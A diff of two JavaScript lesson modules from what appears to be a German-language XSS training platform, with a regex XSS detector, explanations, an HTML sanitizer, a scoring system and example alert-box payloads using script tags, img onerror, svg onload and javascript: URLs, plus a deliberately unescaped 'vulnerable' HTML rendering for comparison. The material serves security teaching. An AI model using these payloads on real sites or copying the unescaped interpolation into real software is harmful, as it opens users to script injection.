* Get interactive data for demo steps
|
||||
*/
|
||||
async getInteractiveData(stepId) {
|
||||
// Reflected XSS demo data
|
||||
if (stepId === 'xss-demo') {
|
||||
return {
|
||||
baseUrl: 'https://example-shop.com/product',
|
||||
parameterName: 'name',
|
||||
freeHints: [
|
||||
'Suchen Sie nach Möglichkeiten, HTML-Code einzufügen',
|
||||
'Versuchen Sie verschiedene Tags: <script>, <img>, <svg>, <iframe>',
|
||||
'Event-Handler können auch ohne Tags funktionieren',
|
||||
'Es gibt insgesamt 9 verschiedene XSS-Varianten zu entdecken'
|
||||
],
|
||||
totalVariants: this.TOTAL_VARIANTS,
|
||||
timeLimit: this.MAX_TIME_FOR_POINTS
|
||||
};
|
||||
}
|
||||
|
||||
// Stored XSS forum demo data
|
||||
if (stepId === 'forum-demo') {
|
||||
return {
|
||||
forumPost: {
|
||||
id: 1,
|
||||
title: 'Willkommen im Sicherheitsforum!',
|
||||
author: 'Admin',
|
||||
content: 'Dies ist ein Demonstrationsforum zum Lernen über Stored-XSS-Schwachstellen. Posten Sie gerne Kommentare unten. Versuchen Sie sowohl sichere Kommentare als auch XSS-Payloads, um zu sehen, wie das System sie erkennt.',
|
||||
timestamp: '2026-02-08T10:00:00Z'
|
||||
},
|
||||
initialComments: [
|
||||
{
|
||||
id: 1,
|
||||
author: 'Alice',
|
||||
content: 'Toller Beitrag! Ich freue mich darauf, mehr über Sicherheit zu lernen.',
|
||||
timestamp: '2026-02-08T10:05:00Z',
|
||||
hasInjection: false
|
||||
},
|
||||
{
|
||||
id: 2,
|
||||
author: 'Bob',
|
||||
content: 'Danke fürs Teilen dieser Informationen.',
|
||||
timestamp: '2026-02-08T10:10:00Z',
|
||||
hasInjection: false
|
||||
},
|
||||
{
|
||||
id: 3,
|
||||
author: 'Charlie',
|
||||
content: 'Sehr informativ! Kann es kaum erwarten, die Demos auszuprobieren.',
|
||||
timestamp: '2026-02-08T10:15:00Z',
|
||||
hasInjection: false
|
||||
}
|
||||
],
|
||||
freeHints: [
|
||||
'Versuchen Sie, Code in Kommentare einzufügen',
|
||||
'Stored XSS bleibt in der Datenbank gespeichert',
|
||||
'Verwenden Sie ähnliche Techniken wie bei Reflected XSS',
|
||||
'Es gibt 9 verschiedene Varianten zu entdecken'
|
||||
],
|
||||
totalVariants: this.TOTAL_VARIANTS,
|
||||
timeLimit: this.MAX_TIME_FOR_POINTS
|
||||
};
|
||||
}
|
||||
|
||||
return await super.getInteractiveData(stepId);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = XSSComprehensiveLesson;
|
||||
@@ -0,0 +1,242 @@
|
||||
const LessonModule = require('../base/LessonModule');
|
||||
|
||||
/**
|
||||
* XSS Deeplink Demo Lesson
|
||||
* Demonstrates cross-site scripting via URL parameter manipulation
|
||||
*/
|
||||
class XSSDeeplinkLesson extends LessonModule {
|
||||
constructor(config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect XSS patterns in user input
|
||||
* @param {string} input - User-provided payload
|
||||
* @returns {string|null} Attack type or null if safe
|
||||
*/
|
||||
detectXSS(input) {
|
||||
const patterns = [
|
||||
{ regex: /<script[\s\S]*?>/gi, type: 'SCRIPT_TAG' },
|
||||
{ regex: /on\w+\s*=\s*["'][^"']*["']/gi, type: 'EVENT_HANDLER' },
|
||||
{ regex: /on\w+\s*=\s*/gi, type: 'EVENT_HANDLER_SIMPLE' },
|
||||
{ regex: /javascript:/gi, type: 'JAVASCRIPT_PROTOCOL' },
|
||||
{ regex: /<iframe/gi, type: 'IFRAME_TAG' },
|
||||
{ regex: /<img[^>]+onerror/gi, type: 'IMG_ONERROR' },
|
||||
{ regex: /<svg[^>]+onload/gi, type: 'SVG_ONLOAD' },
|
||||
{ regex: /<object/gi, type: 'OBJECT_TAG' },
|
||||
{ regex: /<embed/gi, type: 'EMBED_TAG' }
|
||||
];
|
||||
|
||||
for (const pattern of patterns) {
|
||||
if (pattern.regex.test(input)) {
|
||||
return pattern.type;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Analyze XSS payload and provide educational explanation
|
||||
* @param {string} input - User-provided payload
|
||||
* @returns {Object} Analysis result
|
||||
*/
|
||||
analyzeXSS(input) {
|
||||
const type = this.detectXSS(input);
|
||||
|
||||
const explanations = {
|
||||
'SCRIPT_TAG': {
|
||||
title: 'Script Tag Injection',
|
||||
description: '⚠️ Script tag detected! This can execute arbitrary JavaScript code.',
|
||||
impact: 'Attackers can steal cookies, manipulate the DOM, redirect users, or execute any JavaScript.',
|
||||
severity: 'high'
|
||||
},
|
||||
'EVENT_HANDLER': {
|
||||
title: 'Event Handler Injection',
|
||||
description: '⚠️ Event handler attribute detected! This triggers JavaScript on user interaction.',
|
||||
impact: 'Can execute code when user interacts with the element (click, hover, etc.).',
|
||||
severity: 'high'
|
||||
},
|
||||
'EVENT_HANDLER_SIMPLE': {
|
||||
title: 'Event Handler Injection',
|
||||
description: '⚠️ Event handler detected! This can trigger JavaScript execution.',
|
||||
impact: 'Can execute code when specific events occur on the page.',
|
||||
severity: 'high'
|
||||
},
|
||||
'JAVASCRIPT_PROTOCOL': {
|
||||
title: 'JavaScript Protocol',
|
||||
description: '⚠️ JavaScript protocol detected! This can execute code when clicked.',
|
||||
impact: 'Often used in href attributes to execute JavaScript when a link is clicked.',
|
||||
severity: 'medium'
|
||||
},
|
||||
'IFRAME_TAG': {
|
||||
title: 'IFrame Injection',
|
||||
description: '⚠️ IFrame tag detected! This can load malicious external content.',
|
||||
impact: 'Can embed phishing pages or malicious content from external sources.',
|
||||
severity: 'high'
|
||||
},
|
||||
'IMG_ONERROR': {
|
||||
title: 'Image Error Handler',
|
||||
description: '⚠️ Image with onerror handler detected! This executes JavaScript when image fails to load.',
|
||||
impact: 'By using an invalid image source, the onerror event always fires, executing the payload.',
|
||||
severity: 'high'
|
||||
},
|
||||
'SVG_ONLOAD': {
|
||||
title: 'SVG Onload Handler',
|
||||
description: '⚠️ SVG with onload handler detected! This executes JavaScript when SVG loads.',
|
||||
impact: 'SVG tags can contain inline event handlers that execute immediately.',
|
||||
severity: 'high'
|
||||
},
|
||||
'OBJECT_TAG': {
|
||||
title: 'Object Tag Injection',
|
||||
description: '⚠️ Object tag detected! This can embed dangerous content.',
|
||||
impact: 'Can be used to load external resources or execute code.',
|
||||
severity: 'medium'
|
||||
},
|
||||
'EMBED_TAG': {
|
||||
title: 'Embed Tag Injection',
|
||||
description: '⚠️ Embed tag detected! This can load external resources.',
|
||||
impact: 'Can be used to embed malicious plugins or content.',
|
||||
severity: 'medium'
|
||||
}
|
||||
};
|
||||
|
||||
if (type && explanations[type]) {
|
||||
return {
|
||||
type,
|
||||
isXSS: true,
|
||||
...explanations[type]
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
type: null,
|
||||
isXSS: false,
|
||||
title: 'No XSS Detected',
|
||||
description: '✅ No XSS patterns found in the input.',
|
||||
impact: 'This input appears safe.',
|
||||
severity: 'none'
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize HTML for safe display
|
||||
* @param {string} input - User input
|
||||
* @returns {string} Sanitized output
|
||||
*/
|
||||
sanitizeHTML(input) {
|
||||
return input
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/'/g, ''');
|
||||
}
|
||||
|
||||
/**
|
||||
* Test XSS payload and return comparison data
|
||||
* Called via executeLessonAction endpoint
|
||||
* @param {string} participantId - Participant identifier
|
||||
* @param {string} payload - User-provided payload to test
|
||||
* @param {string} stepId - Step identifier
|
||||
* @param {number} eventLessonId - Event lesson ID for point awards
|
||||
* @returns {Object} Test results
|
||||
*/
|
||||
async testXSSPayload(participantId, payload, stepId, eventLessonId) {
|
||||
const analysis = this.analyzeXSS(payload);
|
||||
const sanitized = this.sanitizeHTML(payload);
|
||||
|
||||
// Award points based on XSS type discovered
|
||||
let pointsAwarded = 0;
|
||||
if (analysis.isXSS && participantId && eventLessonId) {
|
||||
const pointsMap = {
|
||||
'SCRIPT_TAG': 35, // Classic script tag
|
||||
'EVENT_HANDLER': 35, // Event handler
|
||||
'EVENT_HANDLER_SIMPLE': 30, // Simple event handler
|
||||
'JAVASCRIPT_PROTOCOL': 25, // JavaScript URL
|
||||
'IFRAME_TAG': 40, // IFrame injection
|
||||
'IMG_ONERROR': 35, // Image error XSS
|
||||
'SVG_ONLOAD': 40, // SVG XSS
|
||||
'OBJECT_TAG': 30, // Object tag
|
||||
'EMBED_TAG': 30 // Embed tag
|
||||
};
|
||||
|
||||
pointsAwarded = pointsMap[analysis.type] || 20;
|
||||
|
||||
try {
|
||||
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
|
||||
`XSS via URL parameter: ${analysis.type}`);
|
||||
} catch (error) {
|
||||
console.error('Failed to award XSS points:', error);
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
originalPayload: payload,
|
||||
sanitizedPayload: sanitized,
|
||||
isXSS: analysis.isXSS,
|
||||
attackType: analysis.type,
|
||||
attackTitle: analysis.title,
|
||||
explanation: analysis.description,
|
||||
impact: analysis.impact,
|
||||
severity: analysis.severity,
|
||||
vulnerableURL: `https://example-shop.com/product?name=${payload}`,
|
||||
safeURL: `https://example-shop.com/product?name=${encodeURIComponent(sanitized)}`,
|
||||
comparisonHTML: {
|
||||
vulnerable: `<div class="product-name">${payload}</div>`,
|
||||
safe: `<div class="product-name">${sanitized}</div>`
|
||||
},
|
||||
pointsAwarded
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Get interactive data for XSS demo step
|
||||
* @param {string} stepId - Step identifier
|
||||
* @returns {Object} Interactive component data
|
||||
*/
|
||||
async getInteractiveData(stepId) {
|
||||
if (stepId === 'xss-demo') {
|
||||
return {
|
||||
baseUrl: 'https://example-shop.com/product',
|
||||
parameterName: 'name',
|
||||
examples: [
|
||||
{
|
||||
label: 'Normal Search',
|
||||
payload: 'Laptop',
|
||||
description: 'Safe product search'
|
||||
},
|
||||
{
|
||||
label: 'Script Alert',
|
||||
payload: '<script>alert("XSS")</script>',
|
||||
description: 'Classic XSS attack with script tag'
|
||||
},
|
||||
{
|
||||
label: 'Image Onerror',
|
||||
payload: '<img src=x onerror="alert(1)">',
|
||||
description: 'XSS via broken image error handler'
|
||||
},
|
||||
{
|
||||
label: 'Event Handler',
|
||||
payload: '" onload="alert(1)"',
|
||||
description: 'XSS via event handler injection'
|
||||
},
|
||||
{
|
||||
label: 'SVG Onload',
|
||||
payload: '<svg onload="alert(1)">',
|
||||
description: 'XSS via SVG element'
|
||||
},
|
||||
{
|
||||
label: 'JavaScript Protocol',
|
||||
payload: 'javascript:alert(1)',
|
||||
description: 'XSS via JavaScript URL protocol'
|
||||
}
|
||||
]
|
||||
};
|
||||
}
|
||||
|
||||
return await super.getInteractiveData(stepId);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = XSSDeeplinkLesson;
|
||||
Reference in New Issue
Block a user